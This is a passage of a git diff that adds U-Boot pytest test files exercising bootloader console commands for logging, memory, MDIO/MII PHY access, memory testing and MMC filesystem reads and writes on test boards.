diff --git a/test/py/tests/test_kconfig.py b/test/py/tests/test_kconfig.py
new file mode 100644
index 00000000000..0b9e6bc3bd1
--- /dev/null
+++ b/test/py/tests/test_kconfig.py
@@ -0,0 +1,39 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright 2022 Google LLC
+# Written by Simon Glass <sjg@chromium.org>
+
+import pytest
+
+import u_boot_utils as util
+
+# This is needed for Azure, since the default '..' directory is not writeable
+TMPDIR = '/tmp/test_kconfig'
+
+@pytest.mark.slow
+@pytest.mark.boardspec('sandbox')
+def test_kconfig(u_boot_console):
+ """Test build failures when IF_ENABLED_INT() option is not enabled"""
+ cons = u_boot_console
+
+ # This detects build errors in test/lib/kconfig.c
+ out = util.run_and_log(
+ cons, ['./tools/buildman/buildman', '-m', '--board', 'sandbox',
+ '-a', 'TEST_KCONFIG', '-o', TMPDIR], ignore_errors=True)
+ assert 'invalid_use_of_IF_ENABLED_INT' in out
+ assert 'invalid_use_of_CONFIG_IF_ENABLED_INT' in out
+
+@pytest.mark.slow
+@pytest.mark.boardspec('sandbox_spl')
+def test_kconfig_spl(u_boot_console):
+ """Test build failures when IF_ENABLED_INT() option is not enabled"""
+ cons = u_boot_console
+
+ # This detects build errors in test/lib/kconfig_spl.c
+ out = util.run_and_log(
+ cons, ['./tools/buildman/buildman', '-m', '--board', 'sandbox_spl',
+ '-a', 'TEST_KCONFIG', '-o', TMPDIR], ignore_errors=True)
+ assert 'invalid_use_of_IF_ENABLED_INT' in out
+
+ # There is no CONFIG_SPL_TEST_KCONFIG, so the CONFIG_IF_ENABLED_INT()
+ # line should not generate an error
+ assert 'invalid_use_of_CONFIG_IF_ENABLED_INT' not in out
diff --git a/test/py/tests/test_log.py b/test/py/tests/test_log.py
new file mode 100644
index 00000000000..140dcb9aa2b
--- /dev/null
+++ b/test/py/tests/test_log.py
@@ -0,0 +1,48 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (c) 2016, Google Inc.
+#
+# U-Boot Verified Boot Test
+
+"""
+This tests U-Boot logging. It uses the 'log test' command with various options
+and checks that the output is correct.
+"""
+
+import pytest
+
+@pytest.mark.buildconfigspec('cmd_log')
+def test_log_format(u_boot_console):
+ """Test the 'log format' and 'log rec' commands"""
+ def run_with_format(fmt, expected_output):
+ """Set up the log format and then write a log record
+
+ Args:
+ fmt: Format to use for 'log format'
+ expected_output: Expected output from the 'log rec' command
+ """
+ output = cons.run_command('log format %s' % fmt)
+ assert output == ''
+ output = cons.run_command('log rec arch notice file.c 123 func msg')
+ assert output == expected_output
+
+ cons = u_boot_console
+ with cons.log.section('format'):
+ run_with_format('all', 'NOTICE.arch,file.c:123-func() msg')
+ output = cons.run_command('log format')
+ assert output == 'Log format: clFLfm'
+
+ run_with_format('fm', 'func() msg')
+ run_with_format('clfm', 'NOTICE.arch,func() msg')
+ run_with_format('FLfm', 'file.c:123-func() msg')
+ run_with_format('lm', 'NOTICE. msg')
+ run_with_format('m', 'msg')
+
+@pytest.mark.buildconfigspec('debug_uart')
+@pytest.mark.boardspec('sandbox')
+def test_log_dropped(u_boot_console):
+ """Test dropped 'log' message when debug_uart is activated"""
+
+ cons = u_boot_console
+ cons.restart_uboot()
+ output = cons.get_spawn_output().replace('\r', '')
+ assert (not 'debug: main' in output)
diff --git a/test/py/tests/test_lsblk.py b/test/py/tests/test_lsblk.py
new file mode 100644
index 00000000000..a719a48e6ee
--- /dev/null
+++ b/test/py/tests/test_lsblk.py
@@ -0,0 +1,14 @@
+# SPDX-License-Identifier: GPL-2.0+
+# Copyright (C) 2020
+# Niel Fourie, DENX Software Engineering, lusus@denx.de
+
+import pytest
+
+@pytest.mark.boardspec('sandbox')
+@pytest.mark.buildconfigspec('blk')
+@pytest.mark.buildconfigspec('cmd_lsblk')
+def test_lsblk(u_boot_console):
+ """Test that `lsblk` prints a result which includes `host`."""
+ output = u_boot_console.run_command('lsblk')
+ assert "Block Driver" in output
+ assert "sandbox_host_blk" in output
diff --git a/test/py/tests/test_md.py b/test/py/tests/test_md.py
new file mode 100644
index 00000000000..83e3c546f4a
--- /dev/null
+++ b/test/py/tests/test_md.py
@@ -0,0 +1,36 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2015 Stephen Warren
+# Copyright (c) 2015-2016, NVIDIA CORPORATION. All rights reserved.
+
+import pytest
+import u_boot_utils
+
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_md(u_boot_console):
+ """Test that md reads memory as expected, and that memory can be modified
+ using the mw command."""
+
+ ram_base = u_boot_utils.find_ram_base(u_boot_console)
+ addr = '%08x' % ram_base
+ val = 'a5f09876'
+ expected_response = addr + ': ' + val
+ u_boot_console.run_command('mw ' + addr + ' 0 10')
+ response = u_boot_console.run_command('md ' + addr + ' 10')
+ assert(not (expected_response in response))
+ u_boot_console.run_command('mw ' + addr + ' ' + val)
+ response = u_boot_console.run_command('md ' + addr + ' 10')
+ assert(expected_response in response)
+
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_md_repeat(u_boot_console):
+ """Test command repeat (via executing an empty command) operates correctly
+ for "md"; the command must repeat and dump an incrementing address."""
+
+ ram_base = u_boot_utils.find_ram_base(u_boot_console)
+ addr_base = '%08x' % ram_base
+ words = 0x10
+ addr_repeat = '%08x' % (ram_base + (words * 4))
+ u_boot_console.run_command('md %s %x' % (addr_base, words))
+ response = u_boot_console.run_command('')
+ expected_response = addr_repeat + ': '
+ assert(expected_response in response)
diff --git a/test/py/tests/test_mdio.py b/test/py/tests/test_mdio.py
new file mode 100644
index 00000000000..89711e70b55
--- /dev/null
+++ b/test/py/tests/test_mdio.py
@@ -0,0 +1,79 @@
+# SPDX-License-Identifier: GPL-2.0
+# (C) Copyright 2023, Advanced Micro Devices, Inc.
+
+import pytest
+import re
+
+"""
+Note: This test relies on boardenv_* containing configuration values to define
+the PHY device info including the device name, address, register address/value
+and write data value. This test will be automatically skipped without this.
+
+For example:
+
+# Setup env__mdio_util_test to set the PHY address, device names, register
+# address, register address value, and write data value to test mdio commands.
+# Test will be skipped if env_mdio_util_test is not set
+env__mdio_util_test = {
+ "eth0": {"phy_addr": 0xc, "device_name": "TI DP83867", "reg": 0,
+ "reg_val": 0x1000, "write_val": 0x100},
+ "eth1": {"phy_addr": 0xa0, "device_name": "TI DP83867", "reg": 1,
+ "reg_val": 0x2000, "write_val": 0x100},
+}
+"""
+
+def get_mdio_test_env(u_boot_console):
+ f = u_boot_console.config.env.get("env__mdio_util_test", None)
+ if not f or len(f) == 0:
+ pytest.skip("No PHY device to test!")
+ else:
+ return f
+
+@pytest.mark.buildconfigspec("cmd_mii")
+@pytest.mark.buildconfigspec("phylib")
+def test_mdio_list(u_boot_console):
+ f = get_mdio_test_env(u_boot_console)
+ output = u_boot_console.run_command("mdio list")
+ for dev, val in f.items():
+ phy_addr = val.get("phy_addr")
+ dev_name = val.get("device_name")
+
+ assert f"{phy_addr:x} -" in output
+ assert dev_name in output
+
+@pytest.mark.buildconfigspec("cmd_mii")
+@pytest.mark.buildconfigspec("phylib")
+def test_mdio_read(u_boot_console):
+ f = get_mdio_test_env(u_boot_console)
+ output = u_boot_console.run_command("mdio list")
+ for dev, val in f.items():
+ phy_addr = hex(val.get("phy_addr"))
+ dev_name = val.get("device_name")
+ reg = hex(val.get("reg"))
+ reg_val = hex(val.get("reg_val"))
+
+ output = u_boot_console.run_command(f"mdio read {phy_addr} {reg}")
+ assert f"PHY at address {int(phy_addr, 16):x}:" in output
+ assert f"{int(reg, 16):x} - {reg_val}" in output
+
+@pytest.mark.buildconfigspec("cmd_mii")
+@pytest.mark.buildconfigspec("phylib")
+def test_mdio_write(u_boot_console):
+ f = get_mdio_test_env(u_boot_console)
+ output = u_boot_console.run_command("mdio list")
+ for dev, val in f.items():
+ phy_addr = hex(val.get("phy_addr"))
+ dev_name = val.get("device_name")
+ reg = hex(val.get("reg"))
+ reg_val = hex(val.get("reg_val"))
+ wr_val = hex(val.get("write_val"))
+
+ u_boot_console.run_command(f"mdio write {phy_addr} {reg} {wr_val}")
+ output = u_boot_console.run_command(f"mdio read {phy_addr} {reg}")
+ assert f"PHY at address {int(phy_addr, 16):x}:" in output
+ assert f"{int(reg, 16):x} - {wr_val}" in output
+
+ u_boot_console.run_command(f"mdio write {phy_addr} {reg} {reg_val}")
+ output = u_boot_console.run_command(f"mdio read {phy_addr} {reg}")
+ assert f"PHY at address {int(phy_addr, 16):x}:" in output
+ assert f"{int(reg, 16):x} - {reg_val}" in output
diff --git a/test/py/tests/test_memtest.py b/test/py/tests/test_memtest.py
new file mode 100644
index 00000000000..0618d96f1be
--- /dev/null
+++ b/test/py/tests/test_memtest.py
@@ -0,0 +1,68 @@
+# SPDX-License-Identifier: GPL-2.0
+# (C) Copyright 2023, Advanced Micro Devices, Inc.
+
+import pytest
+
+"""
+Note: This test relies on boardenv_* containing configuration values to define
+the memory test parameters such as start address, memory size, pattern,
+iterations and timeout. This test will be automatically skipped without this.
+
+For example:
+
+# Setup env__memtest to set the start address of the memory range, size of the
+# memory range to test from starting address, pattern to be written to memory,
+# number of test iterations, and expected time to complete the test of mtest
+# command. start address, size, and pattern parameters value should be in hex
+# and rest of the params value should be integer.
+env__memtest = {
+ 'start_addr': 0x0,
+ 'size': 0x1000,
+ 'pattern': 0x0,
+ 'iteration': 16,
+ 'timeout': 50000,
+}
+"""
+
+def get_memtest_env(u_boot_console):
+ f = u_boot_console.config.env.get("env__memtest", None)
+ if not f:
+ pytest.skip("memtest is not enabled!")
+ else:
+ start = f.get("start_addr", 0x0)
+ size = f.get("size", 0x1000)
+ pattern = f.get("pattern", 0x0)
+ iteration = f.get("iteration", 2)
+ timeout = f.get("timeout", 50000)
+ end = hex(int(start) + int(size))
+ return start, end, pattern, iteration, timeout
+
+@pytest.mark.buildconfigspec("cmd_memtest")
+def test_memtest_negative(u_boot_console):
+ """Negative testcase where end address is smaller than starting address and
+ pattern is invalid."""
+ start, end, pattern, iteration, timeout = get_memtest_env(u_boot_console)
+ expected_response = "Refusing to do empty test"
+ response = u_boot_console.run_command(
+ f"mtest 2000 1000 {pattern} {hex(iteration)}"
+ )
+ assert expected_response in response
+ output = u_boot_console.run_command("echo $?")
+ assert not output.endswith("0")
+ u_boot_console.run_command(f"mtest {start} {end} 'xyz' {hex(iteration)}")
+ output = u_boot_console.run_command("echo $?")
+ assert not output.endswith("0")
+
+@pytest.mark.buildconfigspec("cmd_memtest")
+def test_memtest_ddr(u_boot_console):
+ """Test that md reads memory as expected, and that memory can be modified
+ using the mw command."""
+ start, end, pattern, iteration, timeout = get_memtest_env(u_boot_console)
+ expected_response = f"Tested {str(iteration)} iteration(s) with 0 errors."
+ with u_boot_console.temporary_timeout(timeout):
+ response = u_boot_console.run_command(
+ f"mtest {start} {end} {pattern} {hex(iteration)}"
+ )
+ assert expected_response in response
+ output = u_boot_console.run_command("echo $?")
+ assert output.endswith("0")
diff --git a/test/py/tests/test_mii.py b/test/py/tests/test_mii.py
new file mode 100644
index 00000000000..7b6816d1089
--- /dev/null
+++ b/test/py/tests/test_mii.py
@@ -0,0 +1,92 @@
+# SPDX-License-Identifier: GPL-2.0
+# (C) Copyright 2023, Advanced Micro Devices, Inc.
+
+import pytest
+import re
+
+"""
+Note: This test doesn't rely on boardenv_* configuration value but they can
+change test behavior.
+
+For example:
+
+# Setup env__mii_deive_test_skip to True if tests with ethernet PHY devices
+# should be skipped. For example: Missing PHY device
+env__mii_device_test_skip = True
+
+# Setup env__mii_device_test to set the MII device names. Test will be skipped
+# if env_mii_device_test is not set
+env__mii_device_test = {
+ 'device_list': ['eth0', 'eth1'],
+}
+"""
+
+@pytest.mark.buildconfigspec("cmd_mii")
+def test_mii_info(u_boot_console):
+ if u_boot_console.config.env.get("env__mii_device_test_skip", False):
+ pytest.skip("MII device test is not enabled!")
+ expected_output = "PHY"
+ output = u_boot_console.run_command("mii info")
+ if not re.search(r"PHY (.+?):", output):
+ pytest.skip("PHY device does not exist!")
+ assert expected_output in output
+
+@pytest.mark.buildconfigspec("cmd_mii")
+def test_mii_list(u_boot_console):
+ if u_boot_console.config.env.get("env__mii_device_test_skip", False):
+ pytest.skip("MII device test is not enabled!")
+
+ f = u_boot_console.config.env.get("env__mii_device_test", None)
+ if not f:
+ pytest.skip("No MII device to test!")
+
+ dev_list = f.get("device_list")
+ if not dev_list:
+ pytest.fail("No MII device list provided via env__mii_device_test!")
+
+ expected_output = "Current device"
+ output = u_boot_console.run_command("mii device")
+ mii_devices = (
+ re.search(r"MII devices: '(.+)'", output).groups()[0].replace("'", "").split()
+ )
+
+ assert len([x for x in dev_list if x in mii_devices]) == len(dev_list)
+ assert expected_output in output
+
+@pytest.mark.buildconfigspec("cmd_mii")
+def test_mii_set_device(u_boot_console):
+ test_mii_list(u_boot_console)
+ f = u_boot_console.config.env.get("env__mii_device_test", None)
+ dev_list = f.get("device_list")
+ output = u_boot_console.run_command("mii device")
+ current_dev = re.search(r"Current device: '(.+?)'", output).groups()[0]
+
+ for dev in dev_list:
+ u_boot_console.run_command(f"mii device {dev}")
+ output = u_boot_console.run_command("echo $?")
+ assert output.endswith("0")
+
+ u_boot_console.run_command(f"mii device {current_dev}")
+ output = u_boot_console.run_command("mii device")
+ dev = re.search(r"Current device: '(.+?)'", output).groups()[0]
+ assert current_dev == dev
+
+@pytest.mark.buildconfigspec("cmd_mii")
+def test_mii_read(u_boot_console):
+ test_mii_list(u_boot_console)
+ output = u_boot_console.run_command("mii info")
+ eth_addr = hex(int(re.search(r"PHY (.+?):", output).groups()[0], 16))
+ u_boot_console.run_command(f"mii read {eth_addr} 0")
+ output = u_boot_console.run_command("echo $?")
+ assert output.endswith("0")
+
+@pytest.mark.buildconfigspec("cmd_mii")
+def test_mii_dump(u_boot_console):
+ test_mii_list(u_boot_console)
+ expected_response = "PHY control register"
+ output = u_boot_console.run_command("mii info")
+ eth_addr = hex(int(re.search(r"PHY (.+?):", output).groups()[0], 16))
+ response = u_boot_console.run_command(f"mii dump {eth_addr} 0")
+ assert expected_response in response
+ output = u_boot_console.run_command("echo $?")
+ assert output.endswith("0")
diff --git a/test/py/tests/test_mmc.py b/test/py/tests/test_mmc.py
new file mode 100644
index 00000000000..a96c4e8fd89
--- /dev/null
+++ b/test/py/tests/test_mmc.py
@@ -0,0 +1,671 @@
+# SPDX-License-Identifier: GPL-2.0
+# (C) Copyright 2023, Advanced Micro Devices, Inc.
+
+import pytest
+import random
+import re
+import u_boot_utils
+
+"""
+Note: This test doesn't rely on boardenv_* configuration values but it can
+change the test behavior. To test MMC file system cases (fat32, ext2, ext4),
+MMC device should be formatted and valid partitions should be created for
+different file system, otherwise it may leads to failure. This test will be
+skipped if the MMC device is not detected.
+
+For example:
+
+# Setup env__mmc_device_test_skip to not skipping the test. By default, its
+# value is set to True. Set it to False to run all tests for MMC device.
+env__mmc_device_test_skip = False
+"""
+
+mmc_set_up = False
+controllers = 0
+devices = {}
+
+def setup_mmc(u_boot_console):
+ if u_boot_console.config.env.get('env__mmc_device_test_skip', True):
+ pytest.skip('MMC device test is not enabled')
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_mmc_list(u_boot_console):
+ setup_mmc(u_boot_console)
+ output = u_boot_console.run_command('mmc list')
+ if 'No MMC device available' in output:
+ pytest.skip('No SD/MMC/eMMC controller available')
+
+ if 'Card did not respond to voltage select' in output:
+ pytest.skip('No SD/MMC card present')
+
+ array = output.split()
+ global devices
+ global controllers
+ controllers = int(len(array) / 2)
+ for x in range(0, controllers):
+ y = x * 2
+ devices[x] = {}
+ devices[x]['name'] = array[y]
+
+ global mmc_set_up
+ mmc_set_up = True
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_mmc_dev(u_boot_console):
+ if not mmc_set_up:
+ pytest.skip('No SD/MMC/eMMC controller available')
+
+ fail = 0
+ for x in range(0, controllers):
+ devices[x]['detected'] = 'yes'
+ output = u_boot_console.run_command('mmc dev %d' % x)
+
+ # Some sort of switch here
+ if 'Card did not respond to voltage select' in output:
+ fail = 1
+ devices[x]['detected'] = 'no'
+
+ if 'no mmc device at slot' in output:
+ devices[x]['detected'] = 'no'
+
+ if 'MMC: no card present' in output:
+ devices[x]['detected'] = 'no'
+
+ if fail:
+ pytest.fail('Card not present')
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_mmcinfo(u_boot_console):
+ if not mmc_set_up:
+ pytest.skip('No SD/MMC/eMMC controller available')
+
+ for x in range(0, controllers):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('mmc dev %d' % x)
+ output = u_boot_console.run_command('mmcinfo')
+ if 'busy timeout' in output:
+ pytest.skip('No SD/MMC/eMMC device present')
+
+ obj = re.search(r'Capacity: (\d+|\d+[\.]?\d)', output)
+ try:
+ capacity = float(obj.groups()[0])
+ print(capacity)
+ devices[x]['capacity'] = capacity
+ print('Capacity of dev %d is: %g GiB' % (x, capacity))
+ except ValueError:
+ pytest.fail('MMC capacity not recognized')
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_mmc_info(u_boot_console):
+ if not mmc_set_up:
+ pytest.skip('No SD/MMC/eMMC controller available')
+
+ for x in range(0, controllers):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('mmc dev %d' % x)
+
+ output = u_boot_console.run_command('mmc info')
+
+ obj = re.search(r'Capacity: (\d+|\d+[\.]?\d)', output)
+ try:
+ capacity = float(obj.groups()[0])
+ print(capacity)
+ if devices[x]['capacity'] != capacity:
+ pytest.fail("MMC capacity doesn't match mmcinfo")
+
+ except ValueError:
+ pytest.fail('MMC capacity not recognized')
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_mmc_rescan(u_boot_console):
+ if not mmc_set_up:
+ pytest.skip('No SD/MMC/eMMC controller available')
+
+ if not devices:
+ pytest.skip('No devices detected')
+
+ for x in range(0, controllers):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('mmc dev %d' % x)
+ output = u_boot_console.run_command('mmc rescan')
+ if output:
+ pytest.fail('mmc rescan has something to check')
+ output = u_boot_console.run_command('echo $?')
+ assert output.endswith('0')
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+def test_mmc_part(u_boot_console):
+ if not mmc_set_up:
+ pytest.skip('No SD/MMC/eMMC controller available')
+
+ if not devices:
+ pytest.skip('No devices detected')
+
+ for x in range(0, controllers):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('mmc dev %d' % x)
+ output = u_boot_console.run_command('mmc part')
+
+ lines = output.split('\n')
+ part_fat = []
+ part_ext = []
+ for line in lines:
+ obj = re.search(
+ r'(\d)\s+\d+\s+\d+\s+\w+\d+\w+-\d+\s+(\d+\w+)', line)
+ if obj:
+ part_id = int(obj.groups()[0])
+ part_type = obj.groups()[1]
+ print('part_id:%d, part_type:%s' % (part_id, part_type))
+
+ if part_type in ['0c', '0b', '0e']:
+ print('Fat detected')
+ part_fat.append(part_id)
+ elif part_type == '83':
+ print('ext detected')
+ part_ext.append(part_id)
+ else:
+ pytest.fail('Unsupported Filesystem on device %d' % x)
+ devices[x]['ext4'] = part_ext
+ devices[x]['ext2'] = part_ext
+ devices[x]['fat'] = part_fat
+
+ if not part_ext and not part_fat:
+ pytest.fail('No partition detected on device %d' % x)
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+@pytest.mark.buildconfigspec('cmd_fat')
+def test_mmc_fatls_fatinfo(u_boot_console):
+ if not mmc_set_up:
+ pytest.skip('No SD/MMC/eMMC controller available')
+
+ if not devices:
+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ fs = 'fat'
+ for x in range(0, controllers):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('mmc dev %d' % x)
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ for part in partitions:
+ output = u_boot_console.run_command(
+ 'fatls mmc %d:%s' % (x, part))
+ if 'Unrecognized filesystem type' in output:
+ partitions.remove(part)
+ pytest.fail('Unrecognized filesystem')
+
+ if not re.search(r'\d file\(s\), \d dir\(s\)', output):
+ pytest.fail('%s read failed on device %d' % (fs.upper, x))
+ output = u_boot_console.run_command(
+ 'fatinfo mmc %d:%s' % (x, part))
+ string = 'Filesystem: %s' % fs.upper
+ if re.search(string, output):
+ pytest.fail('%s FS failed on device %d' % (fs.upper(), x))
+ part_detect = 1
+
+ if not part_detect:
+ pytest.skip('No %s partition detected' % fs.upper())
+
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+@pytest.mark.buildconfigspec('cmd_fat')
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_mmc_fatload_fatwrite(u_boot_console):
+ if not mmc_set_up:
+ pytest.skip('No SD/MMC/eMMC controller available')
+
+ if not devices:
+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ fs = 'fat'
+ for x in range(0, controllers):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('mmc dev %d' % x)
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ for part in partitions:
+ part_detect = 1
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+ devices[x]['addr_%d' % part] = addr
+ size = random.randint(4, 1 * 1024 * 1024)
+ devices[x]['size_%d' % part] = size
+ # count CRC32
+ output = u_boot_console.run_command('crc32 %x %x' % (addr, size))
+ m = re.search('==> (.+?)', output)
+ if not m:
+ pytest.fail('CRC32 failed')
+ expected_crc32 = m.group(1)
+ devices[x]['expected_crc32_%d' % part] = expected_crc32
+ # do write
+ file = '%s_%d' % ('uboot_test', size)
+ devices[x]['file_%d' % part] = file
+ output = u_boot_console.run_command(
+ '%swrite mmc %d:%s %x %s %x' % (fs, x, part, addr, file, size)
+ )
+ assert 'Unable to write' not in output
+ assert 'Error' not in output
+ assert 'overflow' not in output
+ expected_text = '%d bytes written' % size
+ assert expected_text in output
+
+ alignment = int(
+ u_boot_console.config.buildconfig.get(
+ 'config_sys_cacheline_size', 128
+ )
+ )
+ offset = random.randrange(alignment, 1024, alignment)
+ output = u_boot_console.run_command(
+ '%sload mmc %d:%s %x %s' % (fs, x, part, addr + offset, file)
+ )
+ assert 'Invalid FAT entry' not in output
+ assert 'Unable to read file' not in output
+ assert 'Misaligned buffer address' not in output
+ expected_text = '%d bytes read' % size
+ assert expected_text in output
+
+ output = u_boot_console.run_command(
+ 'crc32 %x $filesize' % (addr + offset)
+ )
+ assert expected_crc32 in output
+
+ if not part_detect:
+ pytest.skip('No %s partition detected' % fs.upper())
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+@pytest.mark.buildconfigspec('cmd_ext4')
+def test_mmc_ext4ls(u_boot_console):
+ if not mmc_set_up:
+ pytest.skip('No SD/MMC/eMMC controller available')
+
+ if not devices:
+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ fs = 'ext4'
+ for x in range(0, controllers):
+ if devices[x]['detected'] == 'yes':
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ u_boot_console.run_command('mmc dev %d' % x)
+ for part in partitions:
+ output = u_boot_console.run_command('%sls mmc %d:%s' % (fs, x, part))
+ if 'Unrecognized filesystem type' in output:
+ partitions.remove(part)
+ pytest.fail('Unrecognized filesystem')
+ part_detect = 1
+
+ if not part_detect:
+ pytest.skip('No %s partition detected' % fs.upper())
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+@pytest.mark.buildconfigspec('cmd_ext4')
+@pytest.mark.buildconfigspec('ext4_write')
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_mmc_ext4load_ext4write(u_boot_console):
+ if not mmc_set_up:
+ pytest.skip('No SD/MMC/eMMC controller available')
+
+ if not devices:
+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ fs = 'ext4'
+ for x in range(0, controllers):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('mmc dev %d' % x)
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ for part in partitions:
+ part_detect = 1
+ addr = u_boot_utils.find_ram_base(u_boot_console)
+ devices[x]['addr_%d' % part] = addr
+ size = random.randint(4, 1 * 1024 * 1024)
+ devices[x]['size_%d' % part] = size
+ # count CRC32
+ output = u_boot_console.run_command('crc32 %x %x' % (addr, size))
+ m = re.search('==> (.+?)', output)
+ if not m:
+ pytest.fail('CRC32 failed')
+ expected_crc32 = m.group(1)
+ devices[x]['expected_crc32_%d' % part] = expected_crc32
+ # do write
+
+ file = '%s_%d' % ('uboot_test', size)
+ devices[x]['file_%d' % part] = file
+ output = u_boot_console.run_command(
+ '%swrite mmc %d:%s %x /%s %x' % (fs, x, part, addr, file, size)
+ )
+ assert 'Unable to write' not in output
+ assert 'Error' not in output
+ assert 'overflow' not in output
+ expected_text = '%d bytes written' % size
+ assert expected_text in output
+
+ offset = random.randrange(128, 1024, 128)
+ output = u_boot_console.run_command(
+ '%sload mmc %d:%s %x /%s' % (fs, x, part, addr + offset, file)
+ )
+ expected_text = '%d bytes read' % size
+ assert expected_text in output
+
+ output = u_boot_console.run_command(
+ 'crc32 %x $filesize' % (addr + offset)
+ )
+ assert expected_crc32 in output
+
+ if not part_detect:
+ pytest.skip('No %s partition detected' % fs.upper())
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+@pytest.mark.buildconfigspec('cmd_ext2')
+def test_mmc_ext2ls(u_boot_console):
+ if not mmc_set_up:
+ pytest.skip('No SD/MMC/eMMC controller available')
+
+ if not devices:
+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ fs = 'ext2'
+ for x in range(0, controllers):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('mmc dev %d' % x)
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ for part in partitions:
+ part_detect = 1
+ output = u_boot_console.run_command('%sls mmc %d:%s' % (fs, x, part))
+ if 'Unrecognized filesystem type' in output:
+ partitions.remove(part)
+ pytest.fail('Unrecognized filesystem')
+ part_detect = 1
+
+ if not part_detect:
+ pytest.skip('No %s partition detected' % fs.upper())
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+@pytest.mark.buildconfigspec('cmd_ext2')
+@pytest.mark.buildconfigspec('cmd_ext4')
+@pytest.mark.buildconfigspec('ext4_write')
+@pytest.mark.buildconfigspec('cmd_memory')
+def test_mmc_ext2load(u_boot_console):
+ if not mmc_set_up:
+ pytest.skip('No SD/MMC/eMMC controller available')
+
+ if not devices:
+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ fs = 'ext2'
+ for x in range(0, controllers):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('mmc dev %d' % x)
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ for part in partitions:
+ part_detect = 1
+ addr = devices[x]['addr_%d' % part]
+ size = devices[x]['size_%d' % part]
+ expected_crc32 = devices[x]['expected_crc32_%d' % part]
+ file = devices[x]['file_%d' % part]
+
+ offset = random.randrange(128, 1024, 128)
+ output = u_boot_console.run_command(
+ '%sload mmc %d:%s %x /%s' % (fs, x, part, addr + offset, file)
+ )
+ expected_text = '%d bytes read' % size
+ assert expected_text in output
+
+ output = u_boot_console.run_command(
+ 'crc32 %x $filesize' % (addr + offset)
+ )
+ assert expected_crc32 in output
+
+ if not part_detect:
+ pytest.skip('No %s partition detected' % fs.upper())
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+@pytest.mark.buildconfigspec('cmd_fs_generic')
+def test_mmc_ls(u_boot_console):
+ if not mmc_set_up:
+ pytest.skip('No SD/MMC/eMMC controller available')
+
+ if not devices:
+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ for x in range(0, controllers):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('mmc dev %d' % x)
+ for fs in ['fat', 'ext4']:
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ for part in partitions:
+ part_detect = 1
+ output = u_boot_console.run_command('ls mmc %d:%s' % (x, part))
+ if re.search(r'No \w+ table on this device', output):
+ pytest.fail(
+ '%s: Partition table not found %d' % (fs.upper(), x)
+ )
+
+ if not part_detect:
+ pytest.skip('No partition detected')
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+@pytest.mark.buildconfigspec('cmd_fs_generic')
+def test_mmc_load(u_boot_console):
+ if not mmc_set_up:
+ pytest.skip('No SD/MMC/eMMC controller available')
+
+ if not devices:
+ pytest.skip('No devices detected')
+
+ part_detect = 0
+ for x in range(0, controllers):
+ if devices[x]['detected'] == 'yes':
+ u_boot_console.run_command('mmc dev %d' % x)
+ for fs in ['fat', 'ext4']:
+ try:
+ partitions = devices[x][fs]
+ except:
+ print('No %s table on this device' % fs.upper())
+ continue
+
+ for part in partitions:
+ part_detect = 1
+ addr = devices[x]['addr_%d' % part]
+ size = devices[x]['size_%d' % part]
+ expected_crc32 = devices[x]['expected_crc32_%d' % part]
+ file = devices[x]['file_%d' % part]
+
+ offset = random.randrange(128, 1024, 128)
+ output = u_boot_console.run_command(
+ 'load mmc %d:%s %x /%s' % (x, part, addr + offset, file)
+ )
+ expected_text = '%d bytes read' % size
+ assert expected_text in output
+
+ output = u_boot_console.run_command(
+ 'crc32 %x $filesize' % (addr + offset)
+ )
+ assert expected_crc32 in output
+
+ if not part_detect:
+ pytest.skip('No partition detected')
+
+@pytest.mark.buildconfigspec('cmd_mmc')
+@pytest.mark.buildconfigspec('cmd_fs_generic')
+def test_mmc_save(u_boot_console):
+ if not mmc_set_up:
+ pytest.skip('No SD/MMC/eMMC controller available')
+
+ if not devices:
